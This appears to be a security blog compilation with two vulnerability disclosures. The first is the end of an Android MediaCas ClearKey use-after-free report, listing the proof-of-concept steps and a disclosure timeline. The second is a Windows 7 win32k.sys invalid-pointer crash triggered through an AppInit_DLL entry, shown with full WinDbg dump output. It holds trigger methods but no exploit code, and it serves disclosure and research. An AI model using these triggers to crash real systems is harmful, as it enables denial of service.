Snippet from frameworks/av/drm/mediacas/plugins/clearkey/ClearKeyCasPlugin.cpp (source)

 

As you can expect, when a session object is released, the mutex of its mKeyLock is destroyed. Therefore, when the use-after-free is triggered, decrypt attempts to use an already destroyed mutex.

Interestingly, this is where a recent change comes into place. Up until Android 8.1, attempting to use a destroyed mutex would return an error, which in this case would simply be ignored. Since Android 9, attempting to use a destroyed mutex results in an abort, which crashes the process:

Snippet from bionic/libc/bionic/pthread_mutex.cpp (source)

 

This means that while the PoC should always cause a use-after-free, only Android 9 has a way to detect whether it worked or not. In older versions, there is no noticeable effect. Therefore, the PoC is mainly intended to run on Android 9.

After covering the effect of the PoC, here is a high-level overview of the actions it performs:

  1. Initialize Cas and Descrambler objects.
  2. Use the Cas object in order to create two sessions: session1 and session2. Both of them will be referenced from the session library.
  3. Link session1 to the Descrambler object, and then use the Cas object in order to remove it from the session library. Now, session1 only has a reference from the Descrambler object; its reference count is one.
  4. At the same time:
    • Run multiple threads which perform descramble through the Descrambler object.
    • Set the session of the Descrambler object to session2.
  5. If running descramble in one of the threads did not return, it means that the PoC was successful and the service crashed. If not, retry again from step 2.

Full source code for the PoC is available on GitHub .

Timeline

  • 08.2018 – Vulnerability discovered
  • 08.2018 – Vulnerability details + PoC sent to Google
  • 11.2018 – Google distributed patches

If you have any questions, you are welcome to DM me on Twitter (@tamir_zb).

 

Microsoft Windows win32k.sys — Invalid Pointer Vulnerability (MSRC Case 48212)

( Original text by Nafiez )

Overview

There’s a kernel unhandled exception happened in GDI function NtUserGetDCEx and turn the OS to BSOD during boot-time. To trigger the issue it is required to have Administrator privilege to create AppInit_DLL registry key and a simple DLL that can pop a message box. In this case, we installed Anti-Virus called BullGuard (https://www.bullguard.com) in Windows 7 64-bit system with the registry AppInit_DLL and its DLL created. After installation, upon winlogon.exe taking place, a BSOD happened. We suspect the DLL mapped itself to winlogon.exe and this making the Windows itself prone to failed to dereference pointer in kernel thus making it BSOD. We believe this happened when BullGuard AV itself is vulnerable to AppInit_DLL technique and allowed to load the DLL during process start at winlogon.exe. It seems win32k.sys driver lacked of pointer checking during boot-time process.

The issue has been reported to Microsoft (MSRC Case 48212) and the confirmed the finding are valid. Howevever the issue does not meet their service bar (which is required Administrator privilege to perform changes on the registry).

It turns out that not only me to found the issue, omeg posted in OpenRCE forum regarding his finding too (http://www.openrce.org/blog/view/966/Null_pointer_dereference_in_win32k).

Crash Analysis

Initial analysis found the root cause was coming from win32k!NtUserGetDCEx+b7.

BugCheck 3B, {c0000005, fffff9600016126f, fffff880045ceae0, 0}

*** WARNING: Unable to verify checksum for pwned.dll
*** ERROR: Module load completed but symbols could not be loaded for pwned.dll
Probably caused by : win32k.sys ( win32k!NtUserGetDCEx+b7 )

...

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

…

kd> r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Looking at the BugCheck, it cause an SYSTEM_SERVICE_EXCEPTION (3b) and the first argument showing an Access Violation is happened during boot time. Stack trace:

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721

Full dump (!analyze -v)

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

Debugging Details:
------------------


KEY_VALUES_STRING: 1


TIMELINE_ANALYSIS: 1


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING:  7601.24231.amd64fre.win7sp1_ldr.180810-0600

DUMP_TYPE:  0

BUGCHECK_P1: c0000005

BUGCHECK_P2: fffff9600016126f

BUGCHECK_P3: fffff880045ceae0

BUGCHECK_P4: 0

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

FAULTING_IP: 
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

CONTEXT:  fffff880045ceae0 -- (.cxr 0xfffff880045ceae0)
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????
Resetting default scope

CPU_COUNT: 1

CPU_MHZ: 8f6

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3d

CPU_STEPPING: 4

CPU_MICROCODE: 6,3d,4,0 (F,M,S,R)  SIG: 2A'00000000 (cache) 2A'00000000 (init)

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  winlogon.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  HEAVEN-PC

ANALYSIS_SESSION_TIME:  10-24-2018 21:44:25.0111

ANALYSIS_VERSION: 10.0.17134.1 amd64fre

LAST_CONTROL_TRANSFER:  from fffff80002af39d3 to fffff9600016126f

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721


THREAD_SHA1_HASH_MOD_FUNC:  28860cd61556fec47ee8b98cee370782542f9f75

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  96b696341545d28bd11ab89cef209459add5d6ad

THREAD_SHA1_HASH_MOD:  733a7efb513a8a4310aebdea1f93670be82694d5

FOLLOWUP_IP: 
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

FAULT_INSTR_CODE:  8418b48

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  win32k!NtUserGetDCEx+b7

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  5b40db20

IMAGE_VERSION:  6.1.7601.24204

STACK_COMMAND:  .cxr 0xfffff880045ceae0 ; kb

FAILURE_BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

PRIMARY_PROBLEM_CLASS:  X64_0x3B_win32k!NtUserGetDCEx+b7

TARGET_TIME:  2018-10-24T13:30:00.000Z

OSBUILD:  7601

OSSERVICEPACK:  1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  272

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS

OS_LOCALE:  

USER_LCID:  0

OSBUILD_TIMESTAMP:  2018-08-10 23:14:00

BUILDDATESTAMP_STR:  180810-0600

BUILDLAB_STR:  win7sp1_ldr

BUILDOSVER_STR:  6.1.7601.24231.amd64fre.win7sp1_ldr.180810-0600

ANALYSIS_SESSION_ELAPSED_TIME:  a8b

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:x64_0x3b_win32k!ntusergetdcex+b7

FAILURE_ID_HASH:  {c08a00a3-15a5-89cf-350a-72fc675556fc}

Followup:     MachineOwner
---------

Vulnerability Analysis

Looking at the registers output, we can see an invalid pointer is happening:

kd> r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Inspecting the pointer rcx+8 to view the memory address it referencing and we can confirm the memory are indeed invalid / free. There could be a potential of attacker to control from here when mapping into winlogon.exe process by overwriting something in the memory to control the object.

kd> dd rcx+8
00000000`00000008  ???????? ???????? ???????? ????????
00000000`00000018  ???????? ???????? ???????? ????????
00000000`00000028  ???????? ???????? ???????? ????????
00000000`00000038  ???????? ???????? ???????? ????????
00000000`00000048  ???????? ???????? ???????? ????????
00000000`00000058  ???????? ???????? ???????? ????????
00000000`00000068  ???????? ???????? ???????? ????????
00000000`00000078  ???????? ???????? ???????? ????????

Disassembly code of the crash path:

kd> u win32k!NtUserGetDCEx+0xb7
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]      // ds:002b:00000000`00000008=????????????????
fffff960`00161273 488b7810        mov     rdi,qword ptr [rax+10h]
fffff960`00161277 ff15936d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016127d 0fbaa0980100001d bt      dword ptr [rax+198h],1Dh
fffff960`00161285 731c            jae     win32k!NtUserGetDCEx+0xeb (fffff960`001612a3)
fffff960`00161287 ff15836d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016128d 488b8858010000  mov     rcx,qword ptr [rax+158h]
fffff960`00161294 488b81b0020000  mov     rax,qword ptr [rcx+2B0h]